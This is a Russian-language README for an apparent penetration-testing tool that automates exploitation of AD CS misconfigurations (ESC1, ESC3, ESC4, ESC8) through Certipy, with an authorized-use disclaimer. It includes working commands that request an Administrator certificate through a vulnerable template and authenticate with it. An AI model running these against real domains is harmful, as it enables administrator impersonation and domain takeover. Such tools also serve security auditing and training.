ESC GAP (Escalation Certificate Services Gap) - это инструмент для автоматизированного тестирования уязвимостей в Active Directory Certificate Services (AD CS). Инструмент предназначен для выявления и эксплуатации известных уязвимостей ESC1, ESC3, ESC4 и ESC8 в лабораторных условиях.
Данный инструмент предназначен исключительно для:
- Образовательных целей
- Тестирования безопасности в контролируемых лабораторных средах
- Научных исследований в области информационной безопасности
- Аудита безопасности с письменного разрешения владельца системы
Использование данного инструмента против систем без явного разрешения является незаконным и может повлечь уголовную ответственность.
- Python 3.8 или выше
- Linux/Unix окружение (рекомендуется WSL на Windows)
- Доступ к Active Directory Certificate Services
- Учетные данные для аутентификации в домене
- Certipy (автоматически устанавливается)
- Клонируйте репозиторий:
git clone <repository-url>
cd esc_gap- Создайте и активируйте виртуальное окружение:
python3 -m venv venv
source venv/bin/activate- Установите зависимости:
pip install certipy-adПеред использованием отредактируйте переменные в файле esc_gap.py:
USER = 'your_username' # Имя пользователя для аутентификации
PASSWORD = 'your_password' # Пароль пользователя
DOMAIN = 'your.domain.local' # Домен Active Directory
DC_IP = '192.168.1.100' # IP адрес контроллера домена
TARGET = 'dc01.domain.local' # Имя целевого сервераЗапустите основной скрипт для автоматического выполнения всех атак:
python esc_gap.pyСкрипт автоматически:
- Загрузит результаты сканирования из JSON файла
- Проанализирует найденные уязвимости
- Выполнит соответствующие атаки для каждого типа ESC
- Предоставит итоговый отчет с полученными сертификатами
Для ручного выполнения команд используйте документацию в файле esc_attack_commands.md.
Позволяет запросить сертификат с произвольным Subject, если шаблон:
- Разрешает клиенту указывать Subject
- Поддерживает аутентификацию клиента
Использует шаблоны с Certificate Request Agent EKU для запроса сертификатов от имени других пользователей.
Эксплуатирует опасные права доступа к шаблонам сертификатов для их модификации.
Использует веб-регистрацию по HTTP для NTLM relay атак.
esc_gap/
├── esc_gap.py # Основной скрипт автоматизации
├── esc_attack_commands.md # Документация команд Certipy
├── 20250905162100_Certipy.json # Результаты сканирования (пример)
├── pyproject.toml # Конфигурация Poetry
├── venv/ # Виртуальное окружение
├── README.md # Данная документация
└── LICENSE # Лицензия
run_certipy_scan()- Выполняет сканирование AD CSload_scan_results()- Загружает результаты из JSON файлаanalyze_vulnerabilities()- Анализирует найденные уязвимостиexecute_esc1_attack()- Выполняет атаку ESC1execute_esc3_attack()- Выполняет атаку ESC3execute_esc4_attack()- Выполняет атаку ESC4execute_esc8_attack()- Выполняет атаку ESC8
safe_print_command()- Безопасно выводит команды, скрывая пароли
- Все пароли скрыты в выводе команд
- Команды выполняются только в виртуальном окружении
- Результаты сохраняются локально
- Логирование всех операций
./venv/bin/certipy find -u 'user@domain.local' -p 'password' -dn 'domain.local' -dc-ip '192.168.1.100' -target 'dc01.domain.local' -ldap-scheme ldap -json -enable -vulnerable./venv/bin/certipy req -u 'user@domain.local' -p 'password' -target 'dc01.domain.local' -ca 'domain-DC01-CA' -template 'ESC1' -upn 'Administrator@domain.local' -pfx admin_cert.pfx./venv/bin/certipy auth -pfx admin_cert.pfx -dc-ip 192.168.1.100- Проверьте доступность контроллера домена
- Убедитесь в корректности учетных данных
- Проверьте настройки брандмауэра
- Убедитесь в наличии прав на запрос сертификатов
- Проверьте статус шаблонов сертификатов
- Проверьте настройки CA
- Убедитесь в активации виртуального окружения
- Переустановите зависимости:
pip install --upgrade certipy-ad
- Работает только с Active Directory Certificate Services
- Требует учетные данные домена
- Некоторые атаки могут быть заблокированы политиками безопасности
- ESC8 требует дополнительных инструментов для NTLM relay
- Создайте новую функцию в
esc_gap.py - Добавьте вызов функции в
main() - Обновите документацию
Все изменения должны быть протестированы в изолированной лабораторной среде.
См. файл LICENSE для подробной информации о лицензии.
Разработано для образовательных и исследовательских целей.
Для вопросов и предложений создавайте issues в репозитории.
- Первоначальный релиз
- Поддержка ESC1, ESC3, ESC4, ESC8 атак
- Автоматизация сканирования и эксплуатации
- Безопасный вывод команд